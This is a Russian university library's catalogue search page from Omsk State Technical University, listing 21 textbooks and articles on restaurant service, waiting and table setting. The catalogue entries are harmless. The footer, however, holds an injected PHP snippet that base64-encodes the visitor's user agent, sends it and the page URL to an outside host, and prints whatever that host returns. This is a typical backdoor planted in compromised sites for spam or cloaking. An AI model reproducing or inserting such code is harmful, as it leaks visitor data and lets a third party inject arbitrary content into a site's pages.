Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

144 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ПРИБОР СТОЛОВЫЙ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 21
1. 
Радченко Л. А. Обслуживание на предприятиях общественного питания [Текст] / Л. А. Радченко, 2013. - 318 с.
Держатели документа (Информация об экземплярах) 
2. 
Радченко Л. А. Организация производства и обслуживания на предприятиях общественного питания [Текст] / Л. А. Радченко, 2013. - 321 с.
Ключевые слова 
МЕНЮ -- ДОКУМЕНТАЦИЯ -- ОРГАНИЗАЦИЯ ТРУДА рациональная -- Нормирование труда -- РАБОЧЕЕ МЕСТО -- Цех овощной -- Цех мясной -- Цех рыбный -- Цех мясо-рыбный -- Цех доработки полуфабрикатов -- Цех обработки зелени -- Цех горячий -- Цех холодный -- Цех кондитерский -- Моечная кухонной посуды -- Бракераж -- Хлеборезка -- Срок хранения продуктов -- ПОМЕЩЕНИЕ ТОРГОВОЕ -- ПРИБОР СТОЛОВЫЙ -- БЕЛЬЕ СТОЛОВОЕ -- КАРТА ВИН -- РЕСТОРАН - ОБСУЖИВАНИЕ -- БАНКЕТ С ЧАСТИЧНЫМ ОБСЛУЖИВАНИЕМ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БАНКЕТ - ЧАЙ -- СТОЛ ШВЕДСКИЙ -- ПИТАНИЕ ИНТУРИСТОВ -- ПИТАНИЕ СОЦИАЛЬНОЕ -- ПИТАНИЕ СТУДЕНТОВ -- ПИТАНИЕ УЧАЩИХСЯ -- ПИТАНИЕ РАБОЧИХ
Держатели документа (Информация об экземплярах) 
3. 
Усов В. В. Организация производства и обслуживания на предприятиях общественного питания [Текст] / В. В. Усов, 2011. - 432 с.
Ключевые слова 
РЕСТОРАН -- ЦЕХ заготовочный -- ПОСУДА кухонная -- ХОЗЯЙСТВО складское -- ЦЕХ ДОРАБОТКИ ПОЛУФАБРИКАТОВ -- ЦЕХ специализированный -- ПОСУДА СТОЛОВАЯ -- БРАКЕРАЖ -- СТОЛОВАЯ -- БУФЕТ -- ИНТЕРЬЕР ресторана -- МОЕЧНАЯ столовой ПОСУДЫ -- БАР -- Сервизная -- Машина контрольно-кассовая -- Бельевая -- Гладильная -- ПРИБОР СТОЛОВЫЙ -- Белье столовое -- МЕТРДОТЕЛЬ -- ОФИЦИАНТ -- СЕРВИРОВКА -- МЕНЮ -- ОБСЛУЖИВАНИЕ РЕСТОРАННОЕ -- Вино -- Аперитив -- Сомелье -- КУЛЬТУРА обслуживания -- ЭТИКЕТ СТОЛОВЫЙ -- СТОЛ ШВЕДСКИЙ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - ЧАЙ -- Банкет - коктейль -- БАНКЕТ свадебный -- БАНКЕТ КОМБИНИРОВАННЫЙ -- БАНКЕТ С ЧАСТИЧНЫМ ОБСЛУЖИВАНИЕМ -- КЕЙТЕРИНГ
Держатели документа (Информация об экземплярах) 
4. 
Радченко Л. А. Обслуживание на предприятиях общественного питания [Текст] : учеб. пособие для студентов образоват. учреждений сред. проф. образования / Л. А. Радченко, 2010. - 318 с.
Держатели документа (Информация об экземплярах) 
5. 
Ермакова В. И. Официант, бармен [Текст] / В. И. Ермакова, 2012. - 271 с.
Ключевые слова 
ОФИЦИАНТ - БАРМЕН -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИТАНИЯ -- УСЛУГИ ОБЩЕСТВЕННОГО ПИТАНИЯ -- ПРОЦЕСС ТЕХНОЛОГИЧЕСКИЙ -- ПОМЕЩЕНИЕ ПРОИЗВОДСТВЕННОЕ -- ПОМЕЩЕНИЕ СКЛАДСКОЕ -- МОЕЧНАЯ КУХОННОЙ ПОСУДЫ -- ПОМЕЩЕНИЕ ДЛЯ НАРЕЗАНИЯ ХЛЕБА -- ОРГАНИЗАЦИЯ РАЗДАТОЧНОЙ РАБОТЫ -- СЕРВИС - БАР -- СЕРВИЗНАЯ -- МОЕЧНАЯ СТОЛОВОЙ ПОСУДЫ -- ОБОРУДОВАНИЕ ОБЕДЕННОГО ЗАЛА -- ЗАЛ ОБЕДЕННЫЙ -- ОБОРУДОВАНИЕ БАНКЕТНОГО ЗАЛА -- ЗАЛ БАНКЕТНЫЙ -- ПОСУДА СТОЛОВАЯ -- ПРИБОР СТОЛОВЫЙ -- ПОСУДА ФАРФОРОВАЯ -- ПОСУДА КЕРАМИЧЕСКАЯ -- ПОСУДА ХРУСТАЛЬНАЯ -- ПОСУДА МЕТАЛЛИЧЕСКАЯ -- БЕЛЬЕ СТОЛОВОЕ -- СЕРВИРОВКА СТОЛА -- МЕНЮ -- КАРТА ВИН -- ВСТРЕЧА ПОТРЕБИТЕЛЕЙ -- ЗАКАЗ БЛЮД -- ПОДАЧА БЛЮД -- БАНКЕТ -- БАНКЕТ - ЧАЙ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БАНКЕТ КОМБИНИРОВАННЫЙ -- ОБСЛУЖИВАНИЕ ПОТРЕБИТЕЛЕЙ - ГОСТИНИЦА -- ОБСЛУЖИВАНИЕ ПОТРЕБИТЕЛЕЙ - КОНФЕРЕНЦИЯ -- ОБСЛУЖИВАНИЕ ПОТРЕБИТЕЛЕЙ - СВАДЬБА -- ОБСЛУЖИВАНИЕ ПОТРЕБИТЕЛЕЙ - НОВЫЙ ГОД -- ОБСЛУЖИВАНИЕ ПОТРЕБИТЕЛЕЙ НА ДОМУ -- БАР -- ПОСУДА БАРНАЯ -- ИНВЕНТАРЬ БАРА -- БАРМЕН -- БАР - МУЗЫКА -- РАЗЛИВ НАПИТКОВ -- ПРАВИЛА ПОДАЧИ НАПИТКОВ -- ПРАВИЛА ПОДАЧИ ТАБАЧНЫХ ИЗДЕЛИЙ -- КОКТЕЙЛЬ -- ТЕХНОЛОГИЯ ПРИГОТОВЛЕНИЯ КОКТЕЙЛЕЙ -- НАПИТКИ -- ОФИЦИАНТ -- БАРМЕН -- ХАРАКТЕРИСТИКА КВАЛИФИКАЦИОННАЯ -- ОХРАНА ТРУДА
Держатели документа (Информация об экземплярах) 
6. 
Официант-бармен [Текст] / сост. В. А. Барановский, 2013. - 427 с.
Ключевые слова 
ОФИЦИАНТ - БАРМЕН -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИТАНИЯ -- РЕСТОРАН -- КАФЕ -- БАР -- ПРОЦЕСС ТЕХНОЛОГИЧЕСКИЙ -- МОЕЧНАЯ КУХОННОЙ ПОСУДЫ -- РАЗДАТОЧНАЯ -- ХОЗЯЙСТВО СКЛАДСКОЕ -- БРАКЕРАЖ -- ПОМЕЩЕНИЕ ТОРГОВОЕ -- ИНТЕРЬЕР РЕСТОРАНА -- ОБОРУДОВАНИЕ ЗАЛА -- БУФЕТ -- СЕРВИЗНАЯ -- МОЕЧНАЯ СТОЛОВОЙ ПОСУДЫ -- МЕНЮ -- ПОСУДА СТОЛОВАЯ -- ПРИБОР СТОЛОВЫЙ -- БЕЛЬЕ СТОЛОВОЕ -- ОБСЛУЖИВАНИЕ ПОСЕТИТЕЛЕЙ -- КУЛЬТУРА ПОВЕДЕНИЯ ОФИЦИАНТА -- ВСТРЕЧА ПОСЕТИТЕЛЕЙ -- ПРИЕМ ЗАКАЗА -- ПОДАЧА БЛЮД -- КОКТЕЙЛЬ -- ПУНШ -- ГЛИНТВЕЙН -- ГРОГ -- КРЮШОН -- САНГРИЯ -- РАСЧЕТ С ПОСЕТИТЕЛЯМИ -- СПЕЦОБСЛУЖИВАНИЕ -- ОБСЛУЖИВАНИЕ БАНКЕТНОЕ -- БАНКЕТ -- БАНКЕТ С ЧАСТИЧНЫМ ОБСЛУЖИВАНИЕМ -- БАНКЕТ - ЧАЙ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БАРМЕН -- ОБСЛУЖИВАНИЕ ИНТУРИСТОВ -- СТОЛ ШВЕДСКИЙ -- КУХНЯ АЛЖИРСКАЯ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ АМЕРИКАНСКАЯ -- КУХНЯ КАНАДСКАЯ -- КУХНЯ АРАБСКАЯ -- Кухня болгарская -- Кухня югославская -- Кухня венгерская -- КУХНЯ ИНДОНЕЗИЙСКАЯ -- Кухня индийская -- Кухня иранская -- Кухня итальянская -- Кухня немецкая -- Кухня польская -- Кухня румынская -- Кухня скандинавская -- КУХНЯ ФРАНЦУЗСКАЯ -- Кухня чешская -- Кухня южноамериканская -- Кухня японская -- РЕКЛАМА - РЕСТОРАН -- СПРОС ПОТРЕБИТЕЛЬСКИЙ -- ТЕХНИКА БЕЗОПАСНОСТИ - ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИТАНИЯ -- ПОДГОТОВКА ПРОФЕССИОНАЛЬНАЯ -- ЭКЗАМЕН ТЕОРЕТИЧЕСКИЙ -- ЭКЗАМЕН ПРАКТИЧЕСКИЙ -- ОХРАНА ТРУДА -- САНПИН 2.3.2.1078-01 -- САНПИН 2.3.5.021-94 -- САНПИН 42-123-4117-86
Держатели документа (Информация об экземплярах) 
7. 
Ресторанные ведомости. - Журнал, 2007г. № 3
Оглавление 
  • Солдатенков, Д. Самая высокая кухня / Д. Солдатенков. - с.43-46
    Кл. слова: ЭЙР-КЕЙТЕРИНГ
  • Розет, О. Русский ресторан - витязь на распутье / О. Розет, Ю. Лукин. - с.66-69
  • Хохлов, Р. Орудия еды / Р. Хохлов. - с.80-84
    Кл. слова: ПРИБОР СТОЛОВЫЙ
Держатели документа (Информация об экземплярах) 
8. 
Надежин Н. А. Современный ресторан и культура обслуживания [Текст] / Н. А. Надежин, В. А. Красильников, Н. А. Красильников, 1980. - 124 с.
Ключевые слова 
РЕСТОРАН - ИСТОРИЯ -- БЕЛЬЕ СТОЛОВОЕ -- ПОСУДА СТОЛОВАЯ -- ПРИБОР СТОЛОВЫЙ -- СЕРВИРОВКА СТОЛА -- ГРАФИК РАБОТЫ - ОБЩЕСТВЕННОЕ ПИТАНИЕ -- ОДЕЖДА ФОРМЕННАЯ -- КАССА РЕСТОРАНА -- ОФИЦИАНТ - ПРАВИЛА РАБОТЫ -- ОФИЦИАНТ - ТЕХНИКА РАБОТЫ -- ВСТРЕЧА ГОСТЕЙ РЕСТОРАНА -- ПРИЕМ ЗАКАЗА -- ПОДАЧА БЛЮД -- ОБСЛУЖИВАНИЕ ПОСЕТИТЕЛЕЙ -- ОБСЛУЖИВАНИЕ БАНКЕТНОЕ -- ОБСЛУЖИВАНИЕ ПРИЕМА -- АПЕРИТИВ -- ПОДАЧА КОФЕ -- СВАДЬБА - ОБСЛУЖИВАНИЕ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БАНКЕТ - ЧАЙ -- СТОЛ ШВЕДСКИЙ
Держатели документа (Информация об экземплярах) 
9. 
Лощинский В. М. Сервировка и этикет стола [Текст] / В. М. Лощинский, 1998. - 239 с.
Держатели документа (Информация об экземплярах) 
10. 
Обслуживание на предприятиях общественного питания [Текст] : учеб. пособие для колледжей и проф.-техн. лицеев, уч-щ / сост. Л. А. Радченко, 2001. - 372 с.
11. 
Усов В. В. Организация производства и обслуживания на предприятиях общественного питания [Текст] : учеб. пособие для образоват. учреждений нач. проф. образования / В. В. Усов, 2007. - 415 с.
Ключевые слова 
РЕСТОРАН -- ЦЕХ заготовочный -- ПОСУДА кухонная -- ХОЗЯЙСТВО складское -- ЦЕХ ДОРАБОТКИ ПОЛУФАБРИКАТОВ -- ЦЕХ специализированный -- ПОСУДА СТОЛОВАЯ -- БРАКЕРАЖ -- СТОЛОВАЯ -- БУФЕТ -- ИНТЕРЬЕР ресторана -- МОЕЧНАЯ столовой ПОСУДЫ -- БАР -- Сервизная -- Машина контрольно-кассовая -- Бельевая -- Гладильная -- ПРИБОР СТОЛОВЫЙ -- Белье столовое -- МЕТРДОТЕЛЬ -- ОФИЦИАНТ -- СЕРВИРОВКА -- МЕНЮ -- ОБСЛУЖИВАНИЕ РЕСТОРАННОЕ -- Вино -- Аперитив -- Сомелье -- КУЛЬТУРА обслуживания -- ЭТИКЕТ СТОЛОВЫЙ -- СТОЛ ШВЕДСКИЙ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - ЧАЙ -- Банкет - коктейль -- БАНКЕТ свадебный -- ПРИЕМ -- ПИТАНИЕ интуристов -- СПРОС ПОТРЕБИТЕЛЬСКИЙ -- РЕКЛАМА - Ресторан -- УСЛУГИ ресторанные -- ОХРАНА ТРУДА -- БЕЗОПАСНОСТЬ ПОЖАРНАЯ
Держатели документа (Информация об экземплярах) 
12. 
Официант-бармен от А до Я [Текст] : справочное издание, 2002. - 223 с.
Ключевые слова 
РЕСТОРАН -- Кафе -- БАР -- ЦЕХ ОВОЩНОЙ -- ЦЕХ МЯСО-РЫБНЫЙ -- ЦЕХ ГОРЯЧИЙ -- ЦЕХ ХОЛОДНЫЙ -- ЦЕХ КОНДИТЕРСКИЙ -- МОЕЧНАЯ КУХОННОЙ ПОСУДЫ -- Раздаточная -- ХОЗЯЙСТВО СКЛАДСКОЕ -- БРАКЕРАЖ -- ИНТЕРЬЕР РЕСТОРАНА -- ОБОРУДОВАНИЕ ЗАЛА РЕСТОРАНА -- БУФЕТ -- Касса -- СЕРВИЗНАЯ -- МОЕЧНАЯ СТОЛОВОЙ ПОСУДЫ -- МЕНЮ -- ПОСУДА СТОЛОВАЯ -- ПРИБОР СТОЛОВЫЙ -- БЕЛЬЕ СТОЛОВОЕ -- ЗАЛ ТОРГОВЫЙ -- СЕРВИРОВКА -- ОБСЛУЖИВАНИЕ РЕСТОРАННОЕ -- БАНКЕТ- прием -- БАНКЕТ - ЧАЙ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БУФЕТ-бар -- ОБСЛУЖИВАНИЕ интуристов -- СПРОС ПОТРЕБИТЕЛЬСКИЙ -- РЕСТОРАН - реклама -- общепит - охрана труда -- ТЕХНИКА БЕЗОПАСНОСТИ -- БЕЗОПАСНОСТЬ ПОЖАРНАЯ
Держатели документа (Информация об экземплярах) 
13. 
Радченко Л. А. Обслуживание на предприятиях общественного питания [Текст] : Учеб. пособие для колледжей, проф. уч-щ и лицеев / Л. А. Радченко, 2003. - 372 с.
Держатели документа (Информация об экземплярах) 
14. 
Усов В. В. Организация производства и обслуживания на предприятиях общественного питания [Текст] : Учеб. / В. В. Усов, 2002. - 415 с.
Ключевые слова 
РЕСТОРАН -- ЦЕХ заготовочный -- ПОСУДА кухонная -- ХОЗЯЙСТВО складское -- ЦЕХ ДОРАБОТКИ ПОЛУФАБРИКАТОВ -- ЦЕХ специализированный -- ПОСУДА СТОЛОВАЯ -- БРАКЕРАЖ -- СТОЛОВАЯ -- БУФЕТ -- ИНТЕРЬЕР ресторана -- МОЕЧНАЯ столовой ПОСУДЫ -- БАР -- Сервизная -- машина контрольно-кассовая -- Бельевая -- Гладильная -- ПРИБОР СТОЛОВЫЙ -- Белье столовое -- МЕТРДОТЕЛЬ -- ОФИЦИАНТ -- СЕРВИРОВКА -- МЕНЮ -- ОБСЛУЖИВАНИЕ РЕСТОРАННОЕ -- Вино -- Аперитив -- Сомелье -- КУЛЬТУРА обслуживания -- ЭТИКЕТ СТОЛОВЫЙ -- СТОЛ ШВЕДСКИЙ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - ЧАЙ -- Банкет - коктейль -- БАНКЕТ свадебный -- ПРИЕМ -- ПИТАНИЕ интуристов -- СПРОС ПОТРЕБИТЕЛЬСКИЙ -- РЕКЛАМА - Ресторан -- УСЛУГИ ресторанные -- ОХРАНА ТРУДА -- БЕЗОПАСНОСТЬ ПОЖАРНАЯ
Держатели документа (Информация об экземплярах) 
15. 
Шепелев А. Ф. Товароведение и экспертиза ювелирных и металлохозяйственных товаров [Текст] : Учеб. пособие для студ. высш. учеб. заведений / А. Ф. Шепелев, И. А. Печенежская, 2002. - 255 с.
Держатели документа (Информация об экземплярах) 
16. 
Барановский В. А. Организация обслуживания на предприятиях общественного питания [Текст] : Учеб. пособие для студ. сред. спец. учеб. заведений / В. А. Барановский, 2004. - 350 с.
Держатели документа (Информация об экземплярах) 
17. 
Ресторанный бизнес в России: технология успеха [Текст] / Л. С. Кучер, Л. М. Шкуратова, С. Л. Ефимов, Т. Н. Голубева, 2002. - 465 с.
Ключевые слова 
РЕСТОРАН -- БИЗНЕС ресторанный -- БАР -- РЕСТОРАН - Маркетинг -- МЕРЧАНДАЙЗИНГ -- РЕСТОРАН - РЕКЛАМА -- МЕНЮ РЕСТОРАНА -- ПОСУДА СТОЛОВАЯ -- БЕЛЬЕ СТОЛОВОЕ -- ПРИБОР СТОЛОВЫЙ -- КАРТА ВИН -- ОФИЦИАНТ -- ОБСЛУЖИВАНИЕ банкетное -- БАНКЕТ -- СЕРВИРОВКА стола -- БАНКЕТ - КОКТЕЙЛЬ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - ЧАЙ -- БАНКЕТ комбинированный -- Кейтеринг -- ОБСЛУЖИВАНИЕ ИНТУРИСТОВ -- СТОЛ ШВЕДСКИЙ -- КУХНЯ национальная -- УПРАВЛЕНИЕ рестораном -- ЭТИКА официанта -- РЕСТОРАН - Планирование -- РЕСТОРАН - Налоги
Оглавление 
  • Правила оказания услуг общественнного питания. - с.459-465
Держатели документа (Информация об экземплярах) 
18. 
Ахрапоткова Н. Б. Справочник официанта, бармена [Текст] : учеб. пособие для образоват. учреждений начального проф. образования / Н. Б. Ахрапоткова, 2005. - 270 с.
Ключевые слова 
ОФИЦИАНТ -- БАРМЕН -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИ -- ОБОРУДОВАНИЕ ЗАЛА РЕСТОРАНА -- ОБОРУДОВАНИЕ БАРА -- ПОСУДА СТОЛОВАЯ -- ПОСУДА фарфоровая -- ПОСУДА фаянсовая -- ПОСУДА СТЕКЛЯННАЯ -- ПОСУДА металическая -- ПРИБОР СТОЛОВЫЙ -- БЕЛЬЕ СТОЛОВОЕ -- ИНВЕНТАРЬ для бара -- ПОДГОТОВКА ПРОФЕССИОНАЛЬНАЯ -- МЕТРДОТЕЛЬ -- СОМЕЛЬЕ -- ПРАВИЛА САНИТАРНЫЕ В ОБЩЕПИТ -- ПЕРСОНАЛ ОБСЛУЖИВАЮЩИЙ -- МЕНЮ -- КАРТА ВИН -- КАРТА коктейлей -- ВИНО ВИНОГРАДНОЕ -- ВИНО красное -- ВИНО белое -- ВИНО розовое -- ВИНО французское -- ВИНО итальянское -- ВИНО испанское -- ВИНО Германии -- ВИНО Португалии -- ВИНО Австралии -- ВИНО Новой Зеландии -- ВИНО Южной Африки -- ХЕРЕС -- ПОРТВЕЙН -- ВЕРМУТ -- МАДЕРА -- МАРСАЛА -- ВИНО ликерное -- ВИНО игристое -- ШАМПАНСКОЕ -- ВОДКА -- ВИСКИ -- КОНЬЯК -- БРЕНДИ -- ДЖИН -- РОМ -- ТЕКИЛА -- ЛИКЕР -- НАСТОЙКА -- НАПИТОК СЛАБОАЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- ПИВО -- ЧАЙ -- КОФЕ -- ОБСЛУЖИВАНИЕ в зале ресторане -- ПОСЕТИТЕЛь ресторана -- РЕЗЕРВИРОВАНИЕ столиков -- НАПИТОК СМЕШАННЫЙ -- КОКТЕЙЛЬ -- ОБСЛУЖИВАНИЕ в баре -- ОБСЛУЖИВАНИЕ БАНКЕТНОЕ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БАНКЕТ - ЧАЙ -- БАНКЕТ "буфет-коктейль" -- ОБСЛУЖИВАНИЕ туристов -- ТУР -- ПИТАНИЕ туристов -- СТОЛ ШВЕДСКИЙ -- СПРОС ПОТРЕБИТЕЛЬСКИЙ -- РЫНОК ресторанных услуг -- ТЕХНИКА БЕЗОПАСНОСТИ -- БЕЗОПАСНОСТЬ ПОЖАРНАЯ -- ПОМОЩЬ ПЕРВАЯ МЕДИЦИНСКАЯ -- СЛОВАРЬ барных терминов -- СЛОВАРЬ дегустаторских терминов
Держатели документа (Информация об экземплярах) 
19. 
Усов В. В. Организация производства и обслуживания на предприятиях общественного питания [Текст] : учеб. для образоват. учреждений нач. проф. образования / В. В. Усов, 2006. - 415 с.
Ключевые слова 
РЕСТОРАН -- ЦЕХ заготовочный -- ПОСУДА кухонная -- ХОЗЯЙСТВО складское -- ЦЕХ ДОРАБОТКИ ПОЛУФАБРИКАТОВ -- ЦЕХ специализированный -- ПОСУДА СТОЛОВАЯ -- БРАКЕРАЖ -- СТОЛОВАЯ -- БУФЕТ -- ИНТЕРЬЕР ресторана -- МОЕЧНАЯ столовой ПОСУДЫ -- БАР -- Сервизная -- Машина контрольно-кассовая -- Бельевая -- Гладильная -- ПРИБОР СТОЛОВЫЙ -- Белье столовое -- МЕТРДОТЕЛЬ -- ОФИЦИАНТ -- СЕРВИРОВКА -- МЕНЮ -- ОБСЛУЖИВАНИЕ РЕСТОРАННОЕ -- Вино -- Аперитив -- Сомелье -- КУЛЬТУРА обслуживания -- ЭТИКЕТ СТОЛОВЫЙ -- СТОЛ ШВЕДСКИЙ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - ЧАЙ -- Банкет - коктейль -- БАНКЕТ свадебный -- ПРИЕМ -- ПИТАНИЕ интуристов -- СПРОС ПОТРЕБИТЕЛЬСКИЙ -- РЕКЛАМА - Ресторан -- УСЛУГИ ресторанные -- ОХРАНА ТРУДА -- БЕЗОПАСНОСТЬ ПОЖАРНАЯ
Держатели документа (Информация об экземплярах) 
20. 
Извекова В. Г. Бармен, официант [Текст] : учеб. пособие: соответствует Гос. образоват. стандарту РФ / В. Г. Извекова, 2004. - 319 с.
Ключевые слова 
ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИ -- ПРИБОР СТОЛОВЫЙ -- ЦЕХ ОВОЩНОЙ -- ЦЕХ РЫБНЫЙ -- ЦЕХ ГОРЯЧИЙ -- ЦЕХ ХОЛОДНЫЙ -- ЦЕХ КОНДИТЕРСКИЙ -- МОЕЧНАЯ КУХОННОЙ ПОСУДЫ -- РАЗДАТОЧНАЯ -- СКЛАД -- БРАКЕРАЖ -- ПОМЕЩЕНИЕ ТОРГОВОЕ -- СЕРВИЗНАЯ -- МЕНЮ -- КАРТА ВИН -- ПОСУДА СТОЛОВАЯ -- БЕЛЬЕ СТОЛОВОЕ -- ЗАЛ ТОРГОВЫЙ -- ОБСЛУЖИВАНИЕ РЕСТОРАННОЕ -- КЕЙТЕРИНГ -- БАНКЕТ -- ПРИЕМ -- БУФЕТ -- БАР -- ДЕСЕРТ - БАР -- Пиво -- ПОСУДА стеклянная -- ОБСЛУЖИВАНИЕ ИНТУРИСТОВ -- СТОЛ ШВЕДСКИЙ -- РЕКЛАМА - РЕСТОРАН
Держатели документа (Информация об экземплярах) 
21. 
Ридель Х. Бары и рестораны [Текст] : Техники обслуживания / Х. Ридель, 2002. - 351 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3083 - 18.11.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.88 с.14 запросов, 0.48c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;